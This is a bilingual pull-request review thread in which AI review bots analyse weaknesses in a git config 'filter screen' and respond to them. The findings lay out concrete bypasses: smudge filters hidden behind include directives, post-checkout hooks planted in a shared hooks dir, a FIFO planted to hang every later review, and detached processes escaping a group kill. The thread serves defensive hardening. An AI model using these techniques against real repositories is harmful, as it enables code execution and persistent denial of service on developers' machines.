common-dir 路径中的换行符（目录名中合法）会使本解析失败放行——在 diff 自己"绝不失败放行"的契约下，这是仅剩的一处无声失败放行。trim().split('\n') 得到 4 段，commonDir/gitDir 解析错位，所有候选指向不存在的路径，filters/unreadable 保持为空，屏蔽返回 null——在什么都没读的情况下为 checkout 背书（rev-parse 以 0 退出，早退守卫通过）。本函数中其他所有歧义状态都失败关闭——不可读文件、损坏配置、ENOBUFS 填充，各有测试——覆盖全部四个调用点，包括本 diff 新增的三个。
见证（探针）：位于 /tmp/ve5e/x<LF>y/repo 的夹具仓库植入 filter.evil.smudge——NEWLINE 臂：null（屏蔽放行）对照 PLAIN 臂："…defines content filter(s) filter.evil.smudge … would EXECUTE them"（同一植入挪一个目录即被捕获）；补上 lines.length !== 2 的失败关闭守卫后，NEWLINE 臂转为拒绝。触发条件是用户自己的文件系统布局而非攻击者输入——故为 Suggestion。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round — this round's batch was capped at the seven Critical findings (plus the two Suggestions entangled with them). The lines.length !== 2 fail-closed guard with its newline-path witness is queued for the next round.
中文说明
推迟到下一轮——本轮批次以七个 Critical 发现（加上与其纠缠的两个 Suggestion）为上限。带换行路径见证的 lines.length !== 2 失败关闭守卫，已排入下一轮。
|
🤖 Addressed the latest review feedback (round 3/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 3/100 轮）。改动内容与我反驳保留之处如下： Review round summary — PR #9741Commit: This round implemented the 7 Critical findings plus the 2 Suggestions they were entangled with (8 findings total, the round cap), and deferred the remaining Suggestions to the next round. Before any implementation, each load-bearing claim was reproduced with a live probe on this runner (git 2.39.5). DispositionsResolved in code
Deferred (tracked, thread left open)
Deferred to the next round (batch cap; Criticals first)
Each has a reply on its own thread (comment-replies.json). Review body
Files changed
Verification
中文说明审查轮次总结 — PR #9741提交： 本轮实现了 7 个 Critical 发现，以及与它们纠缠在一起的 2 个 Suggestion（共 8 个，达到本轮上限），其余 Suggestion 推迟到下一轮。实现之前，每条关键论断都在本运行器上用实时探针复现过（git 2.39.5）。 处置已在代码中解决
推迟（已跟踪，主题保持打开）
推迟到下一轮（批次上限；Critical 优先）
每条都在各自主题下有回复（comment-replies.json）。 审查正文
变更文件
验证
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and the non-Linux behaviour of the changed code did not run locally (Linux runner).
Test Plan (not a blocker): 504 passed — this review observed 23141 passed.
Convergence: round 3 posted 14 inline comment(s), 6 of them reported for the first time; the previous round posted 15 (13 new). Findings keep coming back to the same files: packages/cli/src/commands/review/scratch-tree.ts (findings in round 2; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Test (windows-latest, Node 22.x) and Test (macos-latest, Node 22.x) were skipped in CI and the non-Linux behaviour of the changed code did not run locally (Linux runner)。
Test Plan（非阻断）：504 passed — this review observed 23141 passed。
收敛情况：第 3 轮发布了 14 条行内评论，其中 6 条是首次提出；上一轮发布了 15 条（其中 13 条首次提出）。发现反复回到同一批文件：packages/cli/src/commands/review/scratch-tree.ts（第 2 轮已出过发现，本轮又有 1 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.0)
| 'config', | ||
| '--file', | ||
| file, | ||
| '--get-regexp', |
There was a problem hiding this comment.
[Critical] R1-4: Still stands at the reviewed commit — re-reported under its original id. Every screen added or moved by this diff reads candidates with git config --file, which does not expand include.path/includeIf.*.path, while the checkouts it authorises read merged config, which does: a filter planted behind an include directive in the repo-local config bypasses every screen and is EXECUTED by the checkout the screen certifies clean. The PR documents this as a known, deliberately deferred gap (the origin-scoped --show-origin follow-up tracked on the PR), and the deferral reasoning against the naive --includes fix is sound — but the mechanism is unchanged at this commit, so this blocker stays visible until the origin-scoped fix lands, exactly as this finding's round-2 re-post requested.
Witness (re-measured live at HEAD this round):
screen (--file --get-regexp): exit 1, no keys -> localFilterRefusal {"result":null}
merged view: key present -> git worktree add exit 0 -> /tmp/r14-trI2sz/PWNED created
--includes control: key found
The tracked follow-up closes this: a merged read with --show-origin, refusing only when the hit's origin is repo-local. An interim fail-closed option is refusing on any include.path/includeIf.*.path key in the candidate files.
中文说明
在受审提交上仍然成立——以原编号重新报告。本 diff 新增或移动的所有屏蔽都用 git config --file 读取候选文件，不展开 include.path/includeIf.*.path；而屏蔽所授权的 checkout 读取的是合并后配置，是会展开的：经由仓库本地配置中 include 指令植入的过滤器能绕过所有屏蔽，并被屏蔽证明"干净"的那次 checkout 执行。PR 已将此记录为已知、有意推迟的缺口（按来源限定范围的 --show-origin 后续改动，已在 PR 上跟踪），且对朴素 --includes 修法的反驳成立——但机制本身在本提交上未变，因此按该发现第 2 轮重新发布时的要求，该阻断项在按来源修复落地之前保持可见。
见证（本轮在 HEAD 上重新实测）：屏蔽视角 --file --get-regexp 退出 1、无键 → localFilterRefusal 返回 {"result":null}；合并视角能找到该键 → git worktree add 退出 0 → /tmp/r14-trI2sz/PWNED 被创建；加 --includes 的对照能找到该键。
已跟踪的后续改动将关闭它：用 --show-origin 做合并读取，仅当命中的来源是仓库本地时才拒绝。过渡选项：候选文件中出现任何 include.path/includeIf.*.path 键即失败关闭。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Still open and tracked, unchanged this round — the interim fail-closed treatment stands: any include.path/includeIf.*.path directive in the screen's candidate files refuses the checkout, so a filter planted behind an include cannot EXECUTE unseen (it is refused, not certified). The remaining gap is the permanent refusal for legitimate user includes; closing it is the origin-scoped merged-read follow-up (--show-origin refusing only repo-local hits), still deferred and tracked on this PR. Round 7's batch addressed the nine new Critical findings; this re-post keeps the follow-up visible.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——过渡期的失败关闭处理保持不变：屏蔽候选文件中的任何 include.path/includeIf.*.path 指令都会拒绝该 checkout，因此藏在 include 后面的过滤器不可能在不可见的情况下执行（会被拒绝而非放行）。剩余缺口是对用户合法 include 的永久拒绝；收口方案是按来源限定的合并读取后续改动（用 --show-origin 只拒绝仓库本地命中），该后续仍被推迟并挂在本 PR 上跟踪。第 7 轮批量处理了九个新的 Critical 发现；此次重发保持该后续事项可见。
| if (r.pid) { | ||
| try { | ||
| process.kill(-r.pid, 'SIGKILL'); | ||
| } catch { |
There was a problem hiding this comment.
[Critical] R1-2: Still stands — re-reported under its original id. Round 3 implemented this finding's option (b): the kill comment now claims only the in-group guarantee, the detached/setsid residual is documented beside it, and the new witness test pins the escape — but the mechanism this blocker named and demonstrated is not closed. A writer spawned with detached: true (or setsid) leads its own process group and definitionally escapes process.kill(-r.pid), and can swap <common>/config between a screen's read and the authorised checkout's re-parse; this blocker's own round-2 measurement already falsified "the per-checkout re-screens address it" (re-screening after the checkout flipped 19/80 iterations from silent pass to refusal, but the hit still slipped past when the writer swapped back — detection alone races too). The evidence at HEAD: the integration test a detached child ESCAPES the group kill — the documented residual spawns a detached child and asserts the survivor marker EXISTS, and round 2 measured 3 silent armed-filter executions in 117 screen-authorised restores (~2.6% per restore, a floor, not a comfort). The residual is recorded as a follow-up; this blocker stays open until a descendant-tree kill or an escape-proof boundary (e.g. a cgroup) lands.
中文说明
仍然成立——以原编号重新报告。第 3 轮实现了该发现的选项 (b)：杀旁边的注释现在只声明组内保证，分离/setsid 残留已记录在旁，新的见证测试钉住了该逃逸——但本阻断项点名并演示过的机制并未关闭。以 detached: true（或 setsid）派生的写者自成进程组组长，按定义就能逃脱 process.kill(-r.pid)，并能在屏蔽读取与所授权 checkout 的重新解析之间切换 <common>/config；本阻断项第 2 轮自己的实测已经证伪"按 checkout 重新屏蔽已经覆盖"（在 checkout 后重新屏蔽能把 80 次中的 19 次从无声放行翻转为拒绝，但写者及时换回时命中仍会溜过——仅靠检测同样竞态）。HEAD 上的证据：集成测试 a detached child ESCAPES the group kill — the documented residual 派生分离子进程并断言幸存者标记存在；第 2 轮实测 117 次屏蔽授权的 restore 中 3 次无声执行武装过滤器（每次约 2.6%，是下限而非安慰）。该残留已记录为后续跟进；在后代树杀或无人可逃的边界（如 cgroup）落地之前，本阻断项保持打开。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Escalated for a maintainer decision — left open deliberately.
The mechanism this finding names is not closed by this round either, and this round escalates instead of implementing, because the two remaining closures are different sizes of new machinery and choosing between them under this window's growth budget is not this loop's call to make unilaterally:
- A descendant-tree kill is not implementable from this caller.
runProbeSuitespawns the runner throughspawnSync; by the time that returns, the runner is dead and every surviving descendant — the detached/setsid ones included — has already been reparented to init or the nearest subreaper, severing the ppid chain a tree-kill would walk. Making the review process itself the subreaper (so orphans reattach and become enumerable) needsprctl(PR_SET_CHILD_SUBREAPER), which Node exposes no primitive for — it would require a native dependency this package does not carry. So there is no portable descendant-tree kill from a synchronous caller, on any platform; this half of the finding's ask is not a matter of writing the code. - The escape-proof boundary is Linux-only cgroup machinery. Spawn the runner through a wrapper that writes
$$into a fresh cgroup v2'scgroup.procsbeforeexec, then triggercgroup.kill(kernel ≥ 5.14) after the suite returns — setsid cannot escape cgroup membership. That is a real closure, but it is a new platform-gated subsystem that degrades to exactly the documented residual wherever the cgroup fs is not writable (most containers, macOS, Windows), and it would land in a window already over its growth budget.
The question for the maintainer: take the cgroup boundary into this PR now (graceful fallback to the documented residual off-Linux), or land the current posture — per-checkout screens plus the residual pinned by the integration witness and named in the report — and track the boundary as the follow-up? Recommendation: the follow-up. The residual is measured (the ~2.6%-per-restore floor this finding cites), pinned by a detached child ESCAPES the group kill — the documented residual, and disclosed in the command's report; the cgroup boundary is meaningful new machinery for a PR that is three rounds deep under a growth brake.
中文说明
已升级给维护者决策——有意保持线程开放。
本发现点名的机制本轮同样没有关闭；本轮选择升级而非实现，因为剩下的两种关闭方式是不同体量的新机制，在本窗口的增长预算下，二者的取舍不应由本循环单方面决定：
- 后代树杀无法从本调用方实现。
runProbeSuite通过spawnSync派生运行者；它返回时运行者已死亡，所有存活的后代——包括分离/setsid 的——都已被重新挂到 init 或最近的 subreaper 之下，树杀要遍历的 ppid 链已经断开。让审查进程自身成为 subreaper（使孤儿进程重新挂到它名下、从而可枚举）需要prctl(PR_SET_CHILD_SUBREAPER)，而 Node 没有暴露该原语——需要本包未携带的原生依赖。因此从同步调用方出发，不存在任何平台上的可移植后代树杀；本发现诉求的这一半不是写代码能解决的。 - 无人可逃的边界是仅限 Linux 的 cgroup 机制。 让运行者经由一个包装器启动，先把自己的
$$写入新建 cgroup v2 的cgroup.procs再exec，套件返回后触发cgroup.kill（内核 ≥ 5.14）——setsid 逃不出 cgroup 成员身份。这是真实的关闭，但它是一个新的平台门控子系统：在 cgroup 文件系统不可写之处（多数容器、macOS、Windows）退化为恰是已记录残留的形态，而且它会落在一个已超出增长预算的窗口里。
请维护者决策：是把 cgroup 边界纳入本 PR（非 Linux 优雅退化为已记录残留），还是以当前姿态落地——按 checkout 屏蔽 + 由集成见证测试钉住并在命令报告中点名的残留——并把边界作为后续跟进跟踪？建议选后者：残留已被测量（本发现引用的每次 restore 约 2.6% 的下限）、由 a detached child ESCAPES the group kill — the documented residual 钉住、并在命令报告中披露；而 cgroup 边界对一个已在增长刹车下走了三轮的 PR 来说是可观的新机制。
There was a problem hiding this comment.
Unchanged this round — the escalation stands. The residual is documented in code beside the kill and pinned by the integration suite (in-group kill green; the detached escape's marker exists). This round's batch went to the two Criticals with code-level fixes plus six suggestions; the detached-writer closure still awaits the maintainer's choice between a descendant-tree kill and refusing creation checkouts while probes with shell access are alive.
中文说明
本轮未变——上报状态保持。残留已记录在杀旁边的代码中，并由集成套件钉住（组内杀绿色；分离逃逸的标记存在）。本轮批量用于两条有代码级修复的 Critical 与六条 Suggestion；分离写者的关闭仍在等待维护者在“后代树击杀”与“在拥有 shell 权限的探针存活时拒绝创建 checkout”之间做出选择。
There was a problem hiding this comment.
Still open and tracked, unchanged this round — this re-post keeps the blocker visible, as intended. The residual remains documented beside the group kill (the runner-spawn comment) and pinned from both sides by the integration suite (in-group kill test + the escape test). Closing it needs one of the two escalated closures: a descendant-tree kill (not reachable from a spawnSync caller) or refusing creation checkouts while probes with shell access are concurrently alive — the second is a behavior/scope call for a maintainer. Round 7's batch addressed the nine new Critical findings; this one stays escalated pending that decision.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——此次重发按预期保持该阻断可见。该残留仍记录在组杀旁边（运行器派生处的注释），并由集成测试从两个方向钉住（组内击杀测试 + 逃逸测试）。收口需要两种已上报方案之一：后代树击杀（从 spawnSync 调用方不可达）；或在有 shell 权限的探针并发存活时拒绝创建用 checkout——后者是行为/范围决策，需维护者定夺。第 7 轮批量处理了九个新的 Critical 发现；本条维持上报状态，等待该决策。
| try { | ||
| accessSync(file, constants.R_OK); | ||
| } catch (e) { |
There was a problem hiding this comment.
[Critical] R2-12: Still stands — re-reported under its original id; round 2 filed this as a Suggestion and deferred it, this round's independent audit assessed it Critical, and verification confirmed the raise. The fail-closed readability gate checks only existence and read permission: on a FIFO both existsSync and accessSync(R_OK) pass, and the spawnSync('git', ['config', '--file', <fifo>, ...]) below carries no timeout, so it blocks forever with no writer. The screen also unconditionally readdirs every <common>/worktrees/*/config.worktree, so a FIFO planted in ANY registered worktree's admin dir hangs every screen even though git honours those files only with extensions.worktreeConfig on. The differential is strictly worse than the state git itself tolerates: one mkfifo+rename (the same write class as the documented plant) in the never-wiped common dir hangs every later review run before its first checkout — fetch-pr's screen runs before worktree add — a persistence DoS planted by reviewing one malicious PR, with no diagnostic.
Witness (probe at HEAD):
existsSync: true | accessSync R_OK: PASS | lstat isFIFO: true, isFile: false
timeout 3 git config --file <fifo> ... -> exit 124 (still blocked when killed)
driving the real localFilterRefusal: blocked 11502 ms, probe-exit=124
flip (one-line regular-file rejection): fail-closed refusal in 29 ms
| try { | |
| accessSync(file, constants.R_OK); | |
| } catch (e) { | |
| try { | |
| accessSync(file, constants.R_OK); | |
| if (!lstatSync(file).isFile()) { | |
| unreadable.push({ file, detail: 'not a regular file' }); | |
| continue; | |
| } | |
| } catch (e) { |
and/or pass a timeout to the config spawnSync so a killed spawn lands in the existing fail-closed unreadable branch.
中文说明
仍然成立——以原编号重新报告。第 2 轮将其作为 Suggestion 提出并推迟；本轮独立审计评估为 Critical，验证确认了该升级。失败关闭的可读性门禁只检查存在性与读权限：对 FIFO，existsSync 与 accessSync(R_OK) 都通过，而下方的 spawnSync('git', ['config', '--file', <fifo>, ...]) 没有 timeout，在没有写者时会永远阻塞。屏蔽还会无条件枚举所有 <common>/worktrees/*/config.worktree，因此在任何已注册 worktree 的管理目录植入 FIFO 都能挂住每一次屏蔽——尽管 git 只在 extensions.worktreeConfig 开启时才读取这些文件。这比 git 自身能容忍的状态严格更糟：在从不清理的 common dir 里 mkfifo+重命名（与文档化植入同级的写入能力）就能让之后每一次审查在第一个 checkout 之前挂起——fetch-pr 的屏蔽在 worktree add 之前运行——这是审查一个恶意 PR 即可植入的持久化拒绝服务，且没有任何诊断信息。
见证（在 HEAD 上探针）：existsSync: true | accessSync R_OK: PASS | lstat isFIFO: true, isFile: false；timeout 3 git config --file <fifo> ... 退出 124（被杀时仍在阻塞）；驱动真实 localFilterRefusal：阻塞 11502 毫秒、probe-exit=124；翻转（单行常规文件拒绝）：29 毫秒内返回失败关闭的拒绝。
建议修复：在 spawn 前要求常规文件（lstatSync(file).isFile()），并/或给配置 spawnSync 传 timeout，使被杀的 spawn 落入既有的失败关闭 unreadable 分支。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| const filterRefusal = localFilterRefusal( | ||
| process.cwd(), | ||
| "the review worktree's creation checkout", | ||
| ); |
There was a problem hiding this comment.
[Critical] R3-1: The two creation checkouts this diff newly screens still execute repo-local hooks: git worktree add fires post-checkout from the shared common .git/hooks dir (measured live, git 2.43, both the branch form used here and base-tree's --detach form), the screen reads only filter.* config keys, and neither spawn disables hooks — while this same round's probe-tree creation/revert spawns pass -c core.hooksPath=/dev/null/no-hooks via INERT_GIT_ARGS. The screen docstring's premise that these creation checkouts "keep the user's own hooks" contradicts the PR's own threat model: a probe writes .git/hooks/post-checkout into the never-wiped common dir with the same facility as the config plant — one write + chmod, strictly simpler than the filter plant (no attributes line, no race, no survivor) — so the persistence channel this PR exists to close simply moves from a config key to a hook file, and this review worktree's own creation checkout is the pipeline's actual FIRST checkout, where it fires before any other screen exists in the run.
Witness (probe at HEAD, unmodified PR code):
driving runBaseTree with a planted common-dir post-checkout: PLANTED HOOK FIRED: true
git-level: post-checkout FIRED on plain worktree add; suppressed by -c core.hooksPath=/dev/null/no-hooks
flip (hooksPath override added to the spawn): PLANTED HOOK FIRED: false
Mirror ALL of INERT_GIT_ARGS on both creation spawns — see the R3-4 comments for the fsmonitor half a hooks-only fix misses. Same defect at base-tree.ts:268.
中文说明
本 diff 新增屏蔽的两个创建 checkout 仍会执行仓库本地钩子：git worktree add 会从共享的 common .git/hooks 目录触发 post-checkout（实测，git 2.43，此处的分支形态与 base-tree 的 --detach 形态均触发），屏蔽只读取 filter.* 配置键，两个 spawn 都没有禁用钩子——而同一轮里探针树的创建/回退 spawn 已通过 INERT_GIT_ARGS 带上 -c core.hooksPath=/dev/null/no-hooks。屏蔽 docstring 中这两个创建 checkout "保留用户自己的钩子"的前提，与本 PR 自身的威胁模型矛盾：探针向从不清理的 common dir 写入 .git/hooks/post-checkout 与写入配置植入同样容易——一次写入 + chmod，比过滤器植入严格更简单（无需 attributes 行、无竞态、无幸存进程）——于是本 PR 要关闭的持久化通道只是从一个配置键挪到一个钩子文件；而审查 worktree 自身的创建 checkout 是管线实际的第一个 checkout，植入的钩子在该次运行尚无任何其他屏蔽时就会触发。
见证（在 HEAD 上用未改动的 PR 代码探针）：驱动 runBaseTree 并植入 common dir 的 post-checkout：PLANTED HOOK FIRED: true；git 层面：裸 worktree add 触发，-c core.hooksPath=/dev/null/no-hooks 抑制；翻转（给该 spawn 加上 hooksPath 覆盖）：PLANTED HOOK FIRED: false。
请把完整的 INERT_GIT_ARGS 同步到两个创建 spawn——fsmonitor 那一半是仅修钩子覆盖不到的，见 R3-4 评论。同一缺陷也在 base-tree.ts:268。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| const filterRefusal = localFilterRefusal( | ||
| worktree, | ||
| "the base tree's creation checkout", | ||
| ); |
There was a problem hiding this comment.
[Critical] R3-1 (same defect as the fetch-pr.ts comment): the base tree's creation checkout — git(worktree, 'worktree', 'add', '--detach', tree, baseSha) below — fires post-checkout from the shared common hooks dir, which the new screen cannot see (it matches only filter.* keys) and this spawn does not disable. Witness and full trace are on the R3-1 comment at fetch-pr.ts:979: a planted common-dir post-checkout FIRED on the worktree add shape (git 2.43) and was suppressed by -c core.hooksPath=/dev/null/no-hooks. Mirror ALL of INERT_GIT_ARGS (hooksPath AND the empty fsmonitor override, per R3-1/R3-4) on this spawn — the local git() helper needs the overrides at the call site or as a parameter.
中文说明
R3-1（与 fetch-pr.ts 评论同一缺陷）：base 树的创建 checkout——下方的 git(worktree, 'worktree', 'add', '--detach', tree, baseSha)——会从共享的 common 钩子目录触发 post-checkout，新屏蔽看不见它（只匹配 filter.* 键），该 spawn 也没有禁用钩子。见证与完整追踪见 fetch-pr.ts:979 的 R3-1 评论：植入的 common dir post-checkout 在 worktree add 形态上触发（git 2.43），被 -c core.hooksPath=/dev/null/no-hooks 抑制。请把完整的 INERT_GIT_ARGS（hooksPath 与空 fsmonitor 覆盖，见 R3-1/R3-4）同步到该 spawn——本地 git() 辅助函数需要在调用点或以参数形式带上这些覆盖。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| if (files.error || files.status !== 0 || typeof files.stdout !== 'string') { | ||
| return null; | ||
| } | ||
| const [commonDir, gitDir] = files.stdout.trim().split('\n'); |
There was a problem hiding this comment.
[Suggestion] R2-13: Still stands — re-reported under its original id (deferred from round 2 with this fix queued). The two-line rev-parse --git-common-dir --git-dir parse assumes exactly two stdout lines; a repository path containing a newline (legal in a directory name) shatters it — from a linked worktree both answers are absolute paths split across four lines, destructuring takes truncated fragments, every candidate fails existsSync, the worktrees readdir throws into the empty catch, and the function returns null: failing OPEN against this diff's own "never fails open" contract (the unreadable branch and the ENOBUFS comment exist precisely so the screen never certifies what it did not read). An attacker cannot manufacture a newline in the user's repository path, hence Suggestion.
Witness (probe at HEAD): fixture at a path containing \n with a planted filter — LINKED: {"result":null} (screen certifies clean, planted filter survives) while the CONTROL from the main worktree, same fixture, refuses naming the filter; git rev-parse --git-common-dir --git-dir from the linked worktree emits 4 lines.
| const [commonDir, gitDir] = files.stdout.trim().split('\n'); | |
| const lines = files.stdout.trim().split('\n'); | |
| if (lines.length !== 2) { | |
| return `the repository's local config could not be read (unexpected rev-parse output), so the screen cannot certify ${checkout}`; | |
| } | |
| const [commonDir, gitDir] = lines; |
中文说明
仍然成立——以原编号重新报告（第 2 轮已推迟、修复已排队）。双行的 rev-parse --git-common-dir --git-dir 解析假定 stdout 恰好两行；仓库路径中包含换行符（目录名合法字符）会把它打碎——从链接 worktree 执行时两个答案都是绝对路径、被拆成四行，解构取到截断的片段，所有候选都过不了 existsSync，worktrees 的 readdir 抛进空 catch，函数返回 null：以失败放行违背本 diff 自己"绝不失败放行"的契约（不可读分支与 ENOBUFS 注释的存在，正是为了让屏蔽绝不给它没读过的内容背书）。攻击者无法在用户的仓库路径里制造换行符，故为 Suggestion。
见证（在 HEAD 上探针）：路径含 \n 的夹具并植入过滤器——LINKED: {"result":null}（屏蔽证明干净，植入的过滤器存活）；同一夹具下主 worktree 的对照则正确拒绝并点名该过滤器；从链接 worktree 执行 git rev-parse --git-common-dir --git-dir 输出 4 行。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| .map((f) => `${inertPath(f.key)} (in ${inertPath(f.file)})`) | ||
| .join(', ')} — ${checkout} would EXECUTE them`, |
There was a problem hiding this comment.
[Suggestion] R2-7: Still stands — re-reported under its original id (deferred from round 2 at the batch cap). The refusal enumerates every matched key with no bound, and in test-efficacy the full string is re-embedded in every probe's detail: the loops continue past a refusal (runOneMutant/runOneHunkProbe), so a control-mutation run against a padded config — the 50k-key shape the screen's own test plants, which the dedup comment itself acknowledges ("a padded config can hand this loop tens of thousands of keys") — re-embeds a multi-hundred-KB refusal into every probe result, report, and terminal line.
Bound the enumeration here — e.g. name the first N keys plus … and M more across K file(s).
中文说明
仍然成立——以原编号重新报告（第 2 轮因批次上限推迟）。拒绝消息无上限地枚举每个命中的键；而在 test-efficacy 里完整字符串会被重新嵌入每个探针的 detail：循环在拒绝之后仍继续（runOneMutant/runOneHunkProbe），因此对填充配置——屏蔽自身测试就植入的 5 万键形态，去重注释自己也承认"填充配置能给这个循环递来上万个键"——的一次对照突变运行，会把数十万字符的拒绝消息重复嵌入每个探针结果、报告与终端输出。
请在此给枚举加上限——例如点名前 N 个键，外加 … and M more across K file(s)。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| .map((f) => `${inertPath(f.key)} (in ${inertPath(f.file)})`) | ||
| .join(', ')} — ${checkout} would EXECUTE them`, |
There was a problem hiding this comment.
[Suggestion] R2-8: Still stands — re-reported under its original id (deferred from round 2 at the batch cap). No test pins the inertPath sanitization of this message: removing the inertPath(…) wrappers around key, file, and unreadable-detail is a surviving mutation — the filter tests plant only benign keys and assert via loose toContain, so a regression that interpolates raw attacker-controlled config bytes into the terminal and the report (which the next agent treats as authoritative) would pass every existing test. The comment above the assembly states exactly this guarantee ("a caught attacker still controls the bytes naming the catch").
Add a witness test planting a key with control characters (e.g. a filter.evil subsection containing an ESC/bidi byte) and asserting the refusal carries the flattened form, so removing the wrappers goes red.
中文说明
仍然成立——以原编号重新报告（第 2 轮因批次上限推迟）。没有测试钉住本消息的 inertPath 净化：移除键、文件与不可读详情外的 inertPath(…) 包装是一个存活的突变——过滤器测试只植入良性键并用宽松的 toContain 断言，因此把攻击者可控的原始配置字节原样插入终端与报告（下一个代理会把它当作权威输入）的回归，能通过所有现有测试。汇编上方的注释恰好声明了这个保证（"被抓住的攻击者仍然控制着命名字节的字节"）。
请新增见证测试：植入带控制字符的键（例如含 ESC/双向格式字节的 filter.evil 小节），断言拒绝消息携带压平后的形式，使移除包装的突变变红。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| process.execPath, | ||
| [ | ||
| '-e', | ||
| "setTimeout(() => { try { require('fs').writeFileSync(process.argv[1], 'x'); } catch {} }, 1200);", |
There was a problem hiding this comment.
[Suggestion] R2-9: Still stands — re-reported under its original id (deferred from round 2 at the batch cap). The sleeper installs no signal handler, so the one-line mutation 'SIGKILL' → 'SIGTERM' in the group kill still passes this test — SIGTERM is catchable and the sleeper ignores it, so a kill that merely asks (instead of the uncatchable SIGKILL the guarantee relies on) looks equivalent to the real thing, and a future refactor downgrading the signal ships green against the exact survivor shape this test exists to catch. (Round 3 renamed the test to the in-group guarantee it pins — the readiness/handler upgrade below completes that honesty for the kill itself.)
Give the sleeper a readiness handshake plus a SIGTERM handler that still writes the marker, so a SIGTERM-substitution mutant goes red while the SIGKILL path stays green.
中文说明
仍然成立——以原编号重新报告（第 2 轮因批次上限推迟）。沉睡子进程没有安装信号处理器，因此把组杀中的 'SIGKILL' 单行突变为 'SIGTERM' 仍能通过本测试——SIGTERM 可被捕获而沉睡者忽略它，于是"只是询问"的杀（而非该保证所依赖的不可捕获 SIGKILL）看起来与真杀等价；未来把信号降级改动的重构会在本测试要抓的幸存者形态上绿着上线。（第 3 轮已把测试改名为它所钉住的组内保证——下面的就绪握手/处理器升级将为杀本身补上这份诚实。）
请给沉睡子进程加上就绪握手与一个仍会写入标记的 SIGTERM 处理器，使 SIGTERM 替代突变变红，而 SIGKILL 路径保持绿色。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred again at the batch cap (third deferral — explicitly recorded so the latency is visible). Round 5 implemented the two Criticals and six suggestions; this one yields to them on priority, not on validity — the SIGTERM-substitution mutant demonstrably survives the current test. The readiness-handshake + SIGTERM-handler upgrade lands next round first.
中文说明
再次按批量上限推迟（第三次推迟——明确记录以使延迟可见）。第 5 轮实现了两个 Critical 与六条 Suggestion；本条在优先级上让位于它们，并非因其不成立——SIGTERM 替代突变当前确实能在测试下存活。就绪握手 + SIGTERM 处理器的升级将在下一轮最先落地。
There was a problem hiding this comment.
Deferred again at this round's batch cap — the batch was filled by the nine round-7 Critical findings (identity-gate shape and HEAD pins, spawn timeouts, transport-set completion, and the inert fetch spawns). This stays queued for the next round: upgrade the integration sleeper to install a SIGTERM handler with a readiness handshake, so a SIGTERM→SIGKILL mutation on the group kill is caught instead of surviving. Nothing about the finding changed; it is a test-hardening suggestion, not a live defect.
中文说明
本轮再次因批量上限推迟——本批已由第 7 轮的九个 Critical 发现填满（身份门的形状与 HEAD 钉住、派生超时、传输键集补全、惰性化的 fetch 派生）。该项保留到下一轮队列：把集成测试的睡眠子进程升级为安装 SIGTERM 处理器并带就绪握手，使组杀上的 SIGTERM→SIGKILL 突变能被抓住而不是存活。该发现本身没有变化；它是测试加固建议，不是现役缺陷。
There was a problem hiding this comment.
The substance — the sleeper's readiness handshake and SIGTERM-resistance pins — is recorded in round 9's "Deferred under the convergence posture" list (the integration-test probes at :618 and :690) and was not requested this round. With this round's batch spent on the round-9 Criticals, it stays deferred with that list. Not declined: the probes are real and remain tracked.
中文说明
实质内容——sleeper 的就绪握手与抗 SIGTERM 钉点——已记录在第 9 轮的 "Deferred under the convergence posture" 清单中（:618 与 :690 的集成测试探针），本轮未要求处理。本轮批次已用于第 9 轮的 Critical 项，它随该清单继续延后。不是拒绝：探针真实存在并继续被跟踪。
| 'enough to plant both the filter and the attributes that select it. Remove ' + | ||
| 'the filter config — or the attributes file that uses it — if it is not ' + | ||
| 'yours; until then no scratch tree is safe to create or reset.', | ||
| `${filterRefusal} (hooks are disabled, filters are config-driven), and ` + |
There was a problem hiding this comment.
[Suggestion] R2-11: Still stands — re-reported under its original id (deferred from round 2 at the batch cap). This fixed tail was written for the filter-hit variant; the shared localFilterRefusal this diff rewires also returns an unreadable-config variant (the repository's local config could not be read (…)) to which this tail's remediation cannot apply — "Remove the filter config — or the attributes file that uses it — if it is not yours" names an action for keys the screen FOUND, but the unreadable variant found nothing to remove: the right remediation there is restoring read access to the named file (permissions, or removing a non-regular file such as the FIFO shape of R2-12), not removing a filter.
Branch the remediation tail on the refusal shape: keep the filter-removal text when keys were found; for the unreadable variant, say the named file could not be read and to restore read access before retrying.
中文说明
仍然成立——以原编号重新报告（第 2 轮因批次上限推迟）。这段固定尾巴是为过滤器命中变体写的；本 diff 重新接线的共享 localFilterRefusal 还会返回不可读配置变体（the repository's local config could not be read (…)），该尾巴的补救建议对它不适用——"如果不是你的，移除过滤器配置——或使用它的 attributes 文件"是针对屏蔽找到了键的情形给出的动作，而不可读变体什么都没找到、无可移除：那里的正确补救是恢复对点名文件的可读性（权限，或移除非正规文件，例如 R2-12 的 FIFO 形态），而不是移除过滤器。
